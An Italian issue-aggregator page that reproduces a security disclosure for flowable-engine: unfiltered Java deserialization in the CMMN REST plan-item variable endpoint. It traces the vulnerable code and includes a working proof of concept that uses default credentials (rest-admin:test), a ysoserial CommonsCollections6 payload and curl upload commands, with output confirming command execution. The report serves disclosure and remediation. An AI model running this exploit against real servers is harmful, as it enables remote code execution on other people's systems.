[SECURITY] Deserialization RCE via CMMN REST PlanItemInstance variable endpoint with type=serializable (CWE-502, CVSS 8.1)
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 30/100
Direzione di ricerca
The vulnerability is in BaseVariableResource.java lines 365-367, where ObjectInputStream.readObject() deserializes user input without filtering. Start by examining the flow from PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() through setBinaryVariable(). Understand the configuration property 'rest.variables.allow.serializable'. Done looks like implementing a safe deserialization method, such as using an ObjectInputFilter, and ensuring the fix is tested.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE
Summary
The Flowable CMMN REST module's PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() endpoint allows uploading files via multipart/form-data to create plan item instance variables. When the type parameter is serializable, the system uses Java native ObjectInputStream.readObject() to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).
Affected Version & Commit
- Repository: https://github.com/flowable/flowable-engine
- Branch: main
- Commit: c72f39686367261f839ff1239be86d9fad10cb6f
Vulnerability Description
Trigger Location
file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java
line: 365-367
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
Data Flow
HTTP POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables
(Content-Type: multipart/form-data, file=<malicious serialized payload>, name=xxx, type=serializable)
↓
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()
PlanItemInstanceVariableCollectionResource.java:70-74
Calls getPlanItemInstanceFromRequest() to validate plan item existence, then calls createVariable()
↓
BaseVariableResource.createVariable(PlanItemInstance, boolean, HttpServletRequest, HttpServletResponse)
BaseVariableResource.java:188-191
↓
BaseVariableResource.createVariable(String, int, boolean, HttpServletRequest, ...)
BaseVariableResource.java:193-264
Detects request instanceof MultipartHttpServletRequest → true
Calls setBinaryVariable()
↓
BaseVariableResource.setBinaryVariable(MultipartHttpServletRequest, ...)
BaseVariableResource.java:303-391
Parses type=serializable → enters else if (isSerializableVariableAllowed) branch
↓
ObjectInputStream.readObject() ← SINK
BaseVariableResource.java:365-366
Directly deserializes user-uploaded file content, no class filtering → RCE
Configuration Switch (Enabled by Default)
BaseVariableResource.java:67:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Defaults to true, meaning the deserialization path is directly reachable under default configuration.
Affected Endpoints
POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables(port 8080)
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires valid HTTP Basic auth credentials (any registered Flowable user; default provides rest-admin:test account) |
| Network reachability | Internal network/public (HTTP reachable REST port 8080) |
| Configuration dependency | rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoint exposed |
| Other prerequisites | At least one active plan item instance must exist in the database; classpath contains commons-collections-3.2.2.jar |
Proof of Concept
# 1. Get available plan item instance list (if none, deploy CMMN case and start instance first)
curl -s -u rest-admin:test \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances"
# 2. Generate CommonsCollections6 payload using ysoserial
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/java.util.concurrent=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"touch /tmp/pwned_0405" > payload.ser
# 3. Send payload to target plan item instance
curl -X POST \
-u rest-admin:test \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables" \
-F "name=exploit" \
-F "type=serializable" \
-F "scope=local" \
-F "[email protected]"
Actual execution results:
Payload send request returns HTTP 201 Created:
{
"name": "CommonsCollections6",
"type": "serializable",
"value": null,
"valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data",
"scope": "local"
}
RCE execution result confirmation:
$ ls -la /tmp/pwned_0405
-rw-r----- 1 root root 0 Aug 4 12:22 /tmp/pwned_0405
Exploitation Chain Progress
| Chain Stage | Location (file:line) | Status | Evidence / Notes |
|---|---|---|---|
| Entry | PlanItemInstanceVariableCollectionResource.java:70 | ✅ Connected | HTTP POST multipart request reached CMMN REST endpoint |
| Existence validation | BaseVariableResource.java:70-75 | ✅ Connected | planItemInstanceId validated via parameterized query |
| Multipart detection | BaseVariableResource.java:193 | ✅ Connected | request instanceof MultipartHttpServletRequest = true |
| Type branch | BaseVariableResource.java:363 | ✅ Connected | type=serializable → isSerializableVariableAllowed=true (default) |
| Sink | BaseVariableResource.java:365-366 | ✅ Triggered | ObjectInputStream.readObject() executes deserialization, triggers CC6 chain |
| RCE result | System filesystem | ✅ Success | Server created file /tmp/pwned_0405, HTTP 201 confirms variable storage success |
Impact
- Deserialization vulnerability confirmed: The server successfully received and deserialized the CommonsCollections6 payload via
ObjectInputStream.readObject() - RCE confirmed: The
touch /tmp/pwned_0405command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time) - HTTP 201 response proves the deserialized object was stored as a plan item instance variable with no exception thrown
- No class filtering protection: No ObjectInputFilter, whitelist, or blacklist configured in the code; readObject() called directly
Severity
CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)
Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
- Lingua principale
- Java
- Stelle
- 9.6k
- Fork
- 2.9k
- Merge medio
- 1h 9m
- PR unite (30g)
- 2
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Ha un modello di pull request
- Nessuna guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di flowable/flowable-engine
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 88/100
flowable/flowable-engine#4268 ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 30/100
flowable/flowable-engine#4293 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 35/100
flowable/flowable-engine#4292 ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 30/100
flowable/flowable-engine#4291 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 48/100
flowable/flowable-engine#4290 ·
Tutte le issue di flowable/flowable-engine
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 88/100
apache/arrow-java#1311 ·
I maintainer di solito rispondono entro 2 giorni
-
bug triage
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
I maintainer di solito rispondono entro 1 giorno
-
security
Difficoltà 2/5 1-3 ore Idoneità per principianti 65/100
IBM/networking-java-sdk#204 ·